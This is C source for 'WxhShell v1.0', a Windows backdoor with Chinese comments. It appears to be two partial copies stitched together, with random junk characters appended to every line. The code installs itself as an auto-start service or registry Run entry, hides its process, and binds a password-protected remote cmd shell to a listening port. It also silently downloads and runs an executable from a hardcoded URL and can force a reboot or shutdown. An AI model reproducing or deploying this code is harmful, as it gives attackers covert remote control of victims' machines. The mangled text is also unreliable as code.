    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Q"s!\5  
    else { zk }SEt-  
    closesocket(wsh); dDiy_Q6  
    ExitThread(0); ^XyC[ G@[  
    } \Uh/(q7  
    break; >l}v _k*~B  
    } "o%okN  
  // 获取shell `!N.1RP _  
  case 's': { ^Zpz@T>m  
    CmdShell(wsh); 8F\'? 7  
    closesocket(wsh); {<IHiB35q  
    ExitThread(0); rG-x 3>b  
    break; j}lne^ h  
  } + d>2'  
  // 退出  Dt5AG  
  case 'x': { kK/>,Eg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IF&edP[V  
    CloseIt(wsh); Q_/UC#I8  
    break; O 8l`1  
    } vzAY+EEx  
  // 离开  ]x1ba_  
  case 'q': { e}gGl<((g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MG&vduu  
    closesocket(wsh); M$v\7vBgO!  
    WSACleanup(); }K.)yv n  
    exit(1); 1"A"AMZf  
    break; sNG 7fi.|  
        } ,o2x,I  
  } {JQV~rfh`  
  } % T$!I(L&  
0kp{`3ce  
  // 提示信息 ME*zMLoF+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q.hpnE~#lh  
} <@>icDFEHn  
  } Zz|et206  
\= 6dF,V  
  return; ?YFSK  
} J"eE9FLM  
'eQ*?a43  
// shell模块句柄 .4z_ohe  
int CmdShell(SOCKET sock) 0 4ceDe  
{ 5p.#nc!;y  
STARTUPINFO si; Np opg1Gv>  
ZeroMemory(&si,sizeof(si)); x;&iLQZh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c~Y  g(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R,hwn2@B  
PROCESS_INFORMATION ProcessInfo; (^|vN ;  
char cmdline[]="cmd"; 0d,&)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (K kqyrb  
  return 0; P#KT lH  
} ]D>\Z(b  
{us#(4O  
// 自身启动模式 I~M@v59C  
int StartFromService(void) uw&p)  
{ t; #D,gx  
typedef struct t] G hONN  
{ R5cpmCs@R  
  DWORD ExitStatus; :N=S nyz  
  DWORD PebBaseAddress; a [BIY&/Q  
  DWORD AffinityMask; y $>U[^G[  
  DWORD BasePriority; rV/! VJ6x  
  ULONG UniqueProcessId; vcp[$-$QGJ  
  ULONG InheritedFromUniqueProcessId; 4^w`] m  
}   PROCESS_BASIC_INFORMATION; &~N@M!`Dn  
I|P#|0< 2  
PROCNTQSIP NtQueryInformationProcess; x1.yi-  
Z=144n 1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O&PrO+&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FHyyZ{"  
LeXkl=CC  
  HANDLE             hProcess; )WF*fcx{  
  PROCESS_BASIC_INFORMATION pbi; ";/,FUJJ  
}C{wGK+o[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $-BM`Zt0;  
  if(NULL == hInst ) return 0; 8(GJz ~y  
uRRp8hht  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {# TZFB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v?#W/].C+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /HM 0p  
6tT*b@/_o  
  if (!NtQueryInformationProcess) return 0; /c52w"WW  
mT#ebeBaf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6+_qGV  
  if(!hProcess) return 0; p>0n~e  
v^Pjvv=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {wVJv1*l  
J*"G*x#u  
  CloseHandle(hProcess); \m3ca-Y  
T.#Vma  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]w9\q*S]  
if(hProcess==NULL) return 0; <lHVch"(^$  
2VA mL7)  
HMODULE hMod; m\ (crkN  
char procName[255]; o" e]9{+<  
unsigned long cbNeeded; ~{gV`nm=J  
9/I|oh_ G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @vkO(o  
)_Wo6l)i  
  CloseHandle(hProcess); L{AfrgN  
t73" d#+  
if(strstr(procName,"services")) return 1; // 以服务启动 _|vY)4B 4U  
"1%YtV5R{  
  return 0; // 注册表启动 *Bm _  
} 6-h(305A  
q, XRb  
// 主模块 1;N5@0%p  
int StartWxhshell(LPSTR lpCmdLine) ]Geg;[ t  
{ "jMSF@lr  
  SOCKET wsl; AvEd?  
BOOL val=TRUE;  hNF.  
  int port=0; SK G!DKQ  
  struct sockaddr_in door; Ym5ji$!2  
Ht=h9}x"g  
  if(wscfg.ws_autoins) Install(); U *']7-  
68-2EWq  
port=atoi(lpCmdLine); wwD?i.3  
;{hE]jReH  
if(port<=0) port=wscfg.ws_port; g|rbkK%SoE  
af<wUxM0  
  WSADATA data; T+U,?2nF:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6y+}=)J  
97SOa.@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X6<%SJC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2UJjYrm  
  door.sin_family = AF_INET; `M.\D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =UMqa;\K  
  door.sin_port = htons(port); 65||]l  
mx;1'!'fr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KR sY `[Y  
closesocket(wsl); h k.Zn.6A'  
return 1; 40)Ti  
} $F/Uk;*d!  
J2d 3&6  
  if(listen(wsl,2) == INVALID_SOCKET) { <Gkmk?x`A  
closesocket(wsl); oQ"J>`',  
return 1; IMtfi(Y%F  
} 1<TB{}b Z  
  Wxhshell(wsl); o1?bqVF;6  
  WSACleanup(); )CM3v L {  
1]% ]"JbV  
return 0; _q<Ke/  
@^UnrKSd  
} HyKv5S$  
CZ4Nw]dtR  
// 以NT服务方式启动 Gbrc!3K2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _,{R3k  
{ lbUUf}   
DWORD   status = 0; I' TprT  
  DWORD   specificError = 0xfffffff; .R5(k'g?  
nkii0YB!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1b4/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I("lGY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +xG  
  serviceStatus.dwWin32ExitCode     = 0; wi$,Y. :  
  serviceStatus.dwServiceSpecificExitCode = 0; \6WVs>z  
  serviceStatus.dwCheckPoint       = 0; W34_@,GD  
  serviceStatus.dwWaitHint       = 0; :7Jpt3  
LCouDk(=`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z(g6$Y{  
  if (hServiceStatusHandle==0) return; hF;TX.Y6  
09L"~:rg  
status = GetLastError(); i}E&mv'  
  if (status!=NO_ERROR) |O4LR,{G.w  
{ _Z{EO|L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [oS4W P  
    serviceStatus.dwCheckPoint       = 0; 7wB*@a-  
    serviceStatus.dwWaitHint       = 0; [B+]F~}@  
    serviceStatus.dwWin32ExitCode     = status; h5^qo ^;g7  
    serviceStatus.dwServiceSpecificExitCode = specificError; w+W! dM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vn(ji=  
    return; ` 5lW  
  } D8*t zu-  
{;-wXzv`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kX)QHNzP  
  serviceStatus.dwCheckPoint       = 0; lGZf_X)gA^  
  serviceStatus.dwWaitHint       = 0; w8iXuRv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); poU1Q#+4p*  
} "eG@F  
r~q 3nIe/,  
// 处理NT服务事件,比如:启动、停止 -XNawpl`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tQ7:4._  
{ Ygs:Ox"[-G  
switch(fdwControl) zz* *HwRt  
{ >_'0 s  
case SERVICE_CONTROL_STOP: wS+ekt5  
  serviceStatus.dwWin32ExitCode = 0; ;6AanwR6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Da-U@e!  
  serviceStatus.dwCheckPoint   = 0; Rx,5?*b$  
  serviceStatus.dwWaitHint     = 0; J5"d|i  
  { f(UB$^4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v9 *WM3  
  } cyTBp58  
  return; Zgw4[GpL  
case SERVICE_CONTROL_PAUSE: 20Z=_},  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &qyXi[vw  
  break; ?DgeKA"A  
case SERVICE_CONTROL_CONTINUE: J?"v;.K|hU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C'.^2s#e8  
  break; U uEm{  
case SERVICE_CONTROL_INTERROGATE: O<()T6  
  break; )o`[wq  
}; VOGx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L}=t"y  
} Bg.  
>qS2ha  
// 标准应用程序主函数 `R m<1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3Pgld*i7  
{ Mb:>  
MGLcM&oR  
// 获取操作系统版本 wK!7mZ  
OsIsNt=GetOsVer(); LbUH`0:%t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &fe67#0r)  
pmc)$3u  
  // 从命令行安装 !:c_i,N  
  if(strpbrk(lpCmdLine,"iI")) Install(); }6"l`$=Ev  
+:3s f%0  
  // 下载执行文件 kgP6'`}E[  
if(wscfg.ws_downexe) { sL], @z8<k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s1bb2R  
  WinExec(wscfg.ws_filenam,SW_HIDE); m+QZ|  
} s0m k<>z  
wGgeK,*_  
if(!OsIsNt) { :%<'('S |  
// 如果时win9x,隐藏进程并且设置为注册表启动 1h3`y  
HideProc(); !.{"Ttn;s  
StartWxhshell(lpCmdLine); MDCwgNPiQW  
} H"c2kno9  
else &2r[4  
  if(StartFromService()) 49=L9:  
  // 以服务方式启动 )Lg~2]'?j  
  StartServiceCtrlDispatcher(DispatchTable); Q})&c.L  
else w[g`)8Ib  
  // 普通方式启动 qOflvf  
  StartWxhshell(lpCmdLine); y#FFxSH>  
i,2eoM)FB  
return 0; !b?cY{  
} {Ga=; 0  
45H9pY w  
S 59^$  
|3BxNFe`%  
=========================================== q<[o 4qY  
xy]oj  
U$WGe >,  
gOr%N!5  
Z+_xX  
5| Oj\L{  
" v oO7W"  
[8&+4 <  
#include <stdio.h> ul]hvK{2  
#include <string.h> a,h]DkD  
#include <windows.h> #u3E{NB  
#include <winsock2.h> G +AP."M?  
#include <winsvc.h> a7aj:.wi  
#include <urlmon.h> xT-`dS0u  
T(Ji%S >  
#pragma comment (lib, "Ws2_32.lib") Y]!&, e,  
#pragma comment (lib, "urlmon.lib") _k#GjAPM  
3R%yKa#  
#define MAX_USER   100 // 最大客户端连接数 lUdk^7:M  
#define BUF_SOCK   200 // sock buffer e ^ZY  
#define KEY_BUFF   255 // 输入 buffer WLiFD.  
qMw_`dC  
#define REBOOT     0   // 重启 ;]k\F  
#define SHUTDOWN   1   // 关机 :KqSMuKR  
! F<::fN  
#define DEF_PORT   5000 // 监听端口 .>S1do+  
mY]o_\`  
#define REG_LEN     16   // 注册表键长度 5}a.<  
#define SVC_LEN     80   // NT服务名长度 3p]\l ]=  
m'M5O@?  
// 从dll定义API AR{$P6u!%|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r;p@T8k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /PbMt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dl,sl>{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yYrFk^  
+S'm<}"1  
// wxhshell配置信息 nJ$2RN  
struct WSCFG { pfw`<*e'  
  int ws_port;         // 监听端口 db@^CS[P  
  char ws_passstr[REG_LEN]; // 口令 -2'+GO7G  
  int ws_autoins;       // 安装标记, 1=yes 0=no %:j`%F;R  
  char ws_regname[REG_LEN]; // 注册表键名 PPh<9$1\g  
  char ws_svcname[REG_LEN]; // 服务名 U.h2 (-p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rjj_]1?K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qJ2Z5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~NLthZ (O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pz\ByD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QO>';ul5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #XG3{MGX[  
`\'V]9wS  
}; Db  !8N  
fs-LaV 0  
// default Wxhshell configuration %Y"pVBc  
struct WSCFG wscfg={DEF_PORT, A%x0'?GU  
    "xuhuanlingzhe", r4<As`&  
    1, 6uKP BL@,  
    "Wxhshell", 3,2$Ny3N  
    "Wxhshell", KW3<5+w]c  
            "WxhShell Service", EhW"s%Q  
    "Wrsky Windows CmdShell Service", j@Pd" Z9  
    "Please Input Your Password: ", F1BXu@~e(  
  1, mU"Am0Bdjq  
  "http://www.wrsky.com/wxhshell.exe", ?\(qA+iP0  
  "Wxhshell.exe" C+"c^9[  
    }; 2-jXj9kp`  
sKJr34  
// 消息定义模块 bC98<if  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EUVD)+it  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /W .G- |:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #9 Fk&Lx  
char *msg_ws_ext="\n\rExit."; Ul6|LTY  
char *msg_ws_end="\n\rQuit."; [h !i{QD  
char *msg_ws_boot="\n\rReboot..."; )l.uj  
char *msg_ws_poff="\n\rShutdown..."; ^,F G 9  
char *msg_ws_down="\n\rSave to "; b)M- q{  
ofw&? Sk0  
char *msg_ws_err="\n\rErr!"; uPapINj  
char *msg_ws_ok="\n\rOK!"; 87W!R<G  
}0Uh<v@  
char ExeFile[MAX_PATH]; Vh2uzG  
int nUser = 0; <m\<yZ2aa  
HANDLE handles[MAX_USER]; m#i4_F=^b  
int OsIsNt; r!O[|h  
>d&0a:  
SERVICE_STATUS       serviceStatus; GAZRQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i*$~uuY  
h::(b,|f7  
// 函数声明 d*VvQU8C  
int Install(void); 43-Bx`6\  
int Uninstall(void); H V-;? 5  
int DownloadFile(char *sURL, SOCKET wsh); t'0&n3  
int Boot(int flag); LI25VDZ|iP  
void HideProc(void); ,4`Vl<6  
int GetOsVer(void); 4nP4F +  
int Wxhshell(SOCKET wsl); ao=e{R)  
void TalkWithClient(void *cs); -mGG:#yP  
int CmdShell(SOCKET sock); R4R\B  
int StartFromService(void); %3"3V1  
int StartWxhshell(LPSTR lpCmdLine); (aC=,5N  
Otx>S' 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i$$h6P#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); & 0\:MJc  
=Ul"{T<  
// 数据结构和表定义 JZ![:$:  
SERVICE_TABLE_ENTRY DispatchTable[] = D`!BjhlW  
{ >ov#\  
{wscfg.ws_svcname, NTServiceMain}, l2YClK  
{NULL, NULL} T3<1{"&  
}; b_6cK#  
A+foc5B  
// 自我安装 1aV32oK  
int Install(void) ='w 2"4  
{ K(PSGlI f  
  char svExeFile[MAX_PATH]; !OQ5AF$  
  HKEY key; WcS`T?Xa  
  strcpy(svExeFile,ExeFile); +9|0\Q  
8>LDo"<  
// 如果是win9x系统,修改注册表设为自启动 Ii5U) "  
if(!OsIsNt) { = M4:nt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \P9ms?((A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jP_s(PQ  
  RegCloseKey(key); ;|oft-y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e1E_$oJP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hY%} x5ntU  
  RegCloseKey(key); E R~RBzp  
  return 0; ,dK)I1"C  
    } .{ljhE:  
  } u/S>*E  
} %+,*$wk#*  
else { 0gW{6BtPWm  
_h  \L6.  
// 如果是NT以上系统,安装为系统服务 R) dP=W*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z|N$qm}  
if (schSCManager!=0) :aaX Y:<  
{ trrK6(p  
  SC_HANDLE schService = CreateService g] }!  
  ( ",vK~m2W_  
  schSCManager, hgW1g#  
  wscfg.ws_svcname, i/'bpGrQ(  
  wscfg.ws_svcdisp, [ 't.x=  
  SERVICE_ALL_ACCESS, ENr#3+m$;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OaY89ko  
  SERVICE_AUTO_START, 0asP,)i  
  SERVICE_ERROR_NORMAL, SJh~4R\  
  svExeFile, S2E z}*plp  
  NULL, v{ohrpb0v  
  NULL, @~|;/OY>"  
  NULL, \<`oW>  
  NULL, : 7"Q  
  NULL PMbZv%.,-  
  ); [:gg3Qzx  
  if (schService!=0) >lQa"F=  
  { /Mw;oP{&b  
  CloseServiceHandle(schService); b-#{O=B  
  CloseServiceHandle(schSCManager); T* 0;3&sA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *VJISJC  
  strcat(svExeFile,wscfg.ws_svcname); Il*!iX|23<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n YUFRV$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r5nHYV&7  
  RegCloseKey(key); uHZ4 @ w:  
  return 0; S#8)N`  
    } Y7p@NG&1q  
  } snfFRc(RE  
  CloseServiceHandle(schSCManager); 3~3tjhw;]9  
} )~R[aXkvY  
} c"lwFr9x7  
d^6-P  R_  
return 1; < B]qqqP  
} "h[)5V{  
EZI#CLT[  
// 自我卸载 )LKJfoo PY  
int Uninstall(void) nM.g8d K  
{ e<9 ^h)G  
  HKEY key; `4xQ#K.-  
|T/OOIA=sI  
if(!OsIsNt) { c,;VnZ 9wC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +3-5\t`  
  RegDeleteValue(key,wscfg.ws_regname); Wj|W B*B  
  RegCloseKey(key); \WC,iA%Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]*k ~jY,  
  RegDeleteValue(key,wscfg.ws_regname); ^ }5KM87  
  RegCloseKey(key); RDHK'PGA  
  return 0; %Y;^$%X%_  
  } #\Y`?  
} sPW :[  
} }`QZV_  
else { !x R9I0V5  
F4T!&E%6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ."BXA8c;A  
if (schSCManager!=0) 2%R.~9HtA  
{ ^8 ,prxaok  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); svEe@Kt`  
  if (schService!=0) 7"aN7Q+EbI  
  { fm^`   
  if(DeleteService(schService)!=0) { S WTZ6(!oW  
  CloseServiceHandle(schService); }UGSE2^1  
  CloseServiceHandle(schSCManager); \VOv&s;h  
  return 0; BI,]pf;GWv  
  } z;9D[ME#1  
  CloseServiceHandle(schService); l%mp49<  
  } m5N,[^-  
  CloseServiceHandle(schSCManager);  C&qo$C  
} V 1d#7rP  
} x!s=Nola  
L#a!fd  
return 1; =kwz3Wv  
} %Ul,9qG+  
|H^v8^%>zm  
// 从指定url下载文件 /2=9i84  
int DownloadFile(char *sURL, SOCKET wsh) fCY??su*   
{ ^}vf  
  HRESULT hr; S`  U,  
char seps[]= "/"; 1QmOUw}yj  
char *token; jf;n*  
char *file; xqg4b{  
char myURL[MAX_PATH]; (c}!gjm  
char myFILE[MAX_PATH]; i;]0>g4  
(m! kg  
strcpy(myURL,sURL); fHZ9wK>  
  token=strtok(myURL,seps); 5({_2meJ:  
  while(token!=NULL) @?]>4+Oa0  
  { 4*f+np  
    file=token; ^vSSG5  :  
  token=strtok(NULL,seps); ipGxi[Vav  
  } G^h:#T  
kUGFg{"  
GetCurrentDirectory(MAX_PATH,myFILE); g&w~eWpk  
strcat(myFILE, "\\"); f0^s<:*  
strcat(myFILE, file); K fVsnL_  
  send(wsh,myFILE,strlen(myFILE),0); ;q%z\gA  
send(wsh,"...",3,0); l0t(t*[Mj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "v0bdaQH3  
  if(hr==S_OK) H2[0@|<<  
return 0; 5/ U{b5  
else \X(*JNQ  
return 1; *v8daF  
l+y;>21sTu  
} 7p!f+\kM  
-\%5aXr  
// 系统电源模块 bnvY2-O6  
int Boot(int flag) jzpDKc%  
{ :,qvqh][  
  HANDLE hToken; ]i,o+xBKH  
  TOKEN_PRIVILEGES tkp; ` wj'  
YE*|KL^  
  if(OsIsNt) { 1K|F;p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M?('VOy)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^@=4HtA  
    tkp.PrivilegeCount = 1; DS@Yto  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N5K2Hv<"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =tA;JB  
if(flag==REBOOT) { 6~{'\Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |XNw&X1VF  
  return 0; rk;]7Wu  
} ra^%__N}  
else { |}YxxeAk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *+6iXMwe  
  return 0; UNv!G/i-5  
} dOaCdnd~  
  } c,)]!{c  
  else { S{MB$JA  
if(flag==REBOOT) { J2oh#TGp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x}WP1YyT~  
  return 0; ld|GY>rH  
} y#`;[!  
else { KMqGWO*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) };P=|t(r  
  return 0; T?Z^2.Pvc  
} pJl/d;Cyrb  
} SE i\H$ !  
o F_r C[  
return 1; 5{DwD{Q  
} .ej+?QYwC  
H)&iFq  
// win9x进程隐藏模块 HSU?4=Q  
void HideProc(void) ;iJxJX\+  
{ O/(vimx.#F  
!:esdJH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \3K7)o^  
  if ( hKernel != NULL ) \4<|QE  
  { grkA2%N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 't*]6^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jRDvVV/-wr  
    FreeLibrary(hKernel); 7\nXJ381  
  } \x4:i\Fx@  
; 5[W*,7s  
return; S+t2k&pm  
} BKE?o^03  
lS p"(&  
// 获取操作系统版本 B *6 ncj  
int GetOsVer(void) @;hdZLG]`&  
{ (LXYx<  
  OSVERSIONINFO winfo; ^Ojg}'.Ygv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kou7_4oS  
  GetVersionEx(&winfo); =h ~n5wQG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~mK +Q%G5  
  return 1; +NvpYz  
  else 8uW%jG3/  
  return 0; }ksp(.}G  
} b<"jmB{  
DYgB_Iak  
// 客户端句柄模块 .O#7X  
int Wxhshell(SOCKET wsl) )4:]gx#cr  
{ Q^05n$ tI  
  SOCKET wsh; 2@ZRz%(Oa&  
  struct sockaddr_in client; 7ju38@+  
  DWORD myID; UH\{:@GjNO  
O1DUBRli!q  
  while(nUser<MAX_USER) kFyp;=d:K  
{ w5/6+@}  
  int nSize=sizeof(client); f:~$x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5e7\tBab  
  if(wsh==INVALID_SOCKET) return 1; L=C#E0{i  
1^tX:qR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s&$e}yxVO  
if(handles[nUser]==0) mV4gw'.;7  
  closesocket(wsh); %4YSuZg  
else ]A#:Uc5  
  nUser++; m^TN6/])  
  } ?gvu E1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SK 5]7C2  
co^h2b  
  return 0; UK,sMKbl1  
} ]gaeN2  
&1`Y&x:p  
// 关闭 socket y+{)4ptg$<  
void CloseIt(SOCKET wsh) hH%fWB2(  
{ ! R3P@,j  
closesocket(wsh); m!P<# |V  
nUser--; gm!sLZ!X  
ExitThread(0); DVKb`KJ"  
} dZb;`DjTH  
|R!ozlL{}  
// 客户端请求句柄 2Yd@ V}  
void TalkWithClient(void *cs) VhAJ1[k4!  
{ C-h?#/#?y  
Sl<1Rme=w  
  SOCKET wsh=(SOCKET)cs; <X1 lq9 lW  
  char pwd[SVC_LEN]; h.l.da1#  
  char cmd[KEY_BUFF]; R(cg`8  
char chr[1]; +*Uv+oC|  
int i,j; Ld/6{w4ir  
*">CEQ[MT  
  while (nUser < MAX_USER) { Km,o+9?1gF  
WXDo`_{R  
if(wscfg.ws_passstr) { V7p hD3Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )EKWsGNe/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u%I%4 gM  
  //ZeroMemory(pwd,KEY_BUFF); M7 k WJ  
      i=0; &rPAW V'v  
  while(i<SVC_LEN) { .c0u##/0  
,&o^}TFkg  
  // 设置超时 {~s\a2YH  
  fd_set FdRead; 3G2iRr.o  
  struct timeval TimeOut; RO%M9LISI  
  FD_ZERO(&FdRead); %.l={B,i  
  FD_SET(wsh,&FdRead); ?K:. Pa  
  TimeOut.tv_sec=8; EBz4k)@m  
  TimeOut.tv_usec=0; EN":}!E:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j|N<6GSke  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ) jvI Nb  
M*Ej*#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 v.8  
  pwd=chr[0]; 5 ;XYF0  
  if(chr[0]==0xd || chr[0]==0xa) { la!U  
  pwd=0; (c^ {T)  
  break; z9g6%RbwX  
  } mU?~s7  
  i++; sK&kp=zu  
    } cL;%2TMk  
1EC;t1.7  
  // 如果是非法用户,关闭 socket -38"S;M8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n]D io  
} J[hmY=,  
O"\_%=X9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hs:zfvD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m6$&yKQ-=h  
Ldv,(ZV,<  
while(1) { 4Y2I'~'  
~9yK MUf  
  ZeroMemory(cmd,KEY_BUFF); UntFkoO  
<*dcl2xS  
      // 自动支持客户端 telnet标准   R9 #ar{  
  j=0; I}0 ?d  
  while(j<KEY_BUFF) { I9>vm]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fw{@RQf8  
  cmd[j]=chr[0]; wCR! bZ w  
  if(chr[0]==0xa || chr[0]==0xd) { =N{?ll6x7g  
  cmd[j]=0; fHEIys,{  
  break; i$@xb_  
  } K\XQ E50  
  j++; h-;> v.  
    } Qj_)^3`e  
&|ne!wu  
  // 下载文件 a3\~AO H%  
  if(strstr(cmd,"http://")) { ,Ww}xmq1H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C,W_0= !e  
  if(DownloadFile(cmd,wsh)) 26nwUNak  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|0#  
  else iQ8{N:58DN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ecz-jZ! `  
  } ,&=7ir14>R  
  else { U,v`md@PX  
jLI1Ed  
    switch(cmd[0]) { iJOG"gI&  
  *<:X3|3E  
  // 帮助 r /a@ x9  
  case '?': { *~U.36  
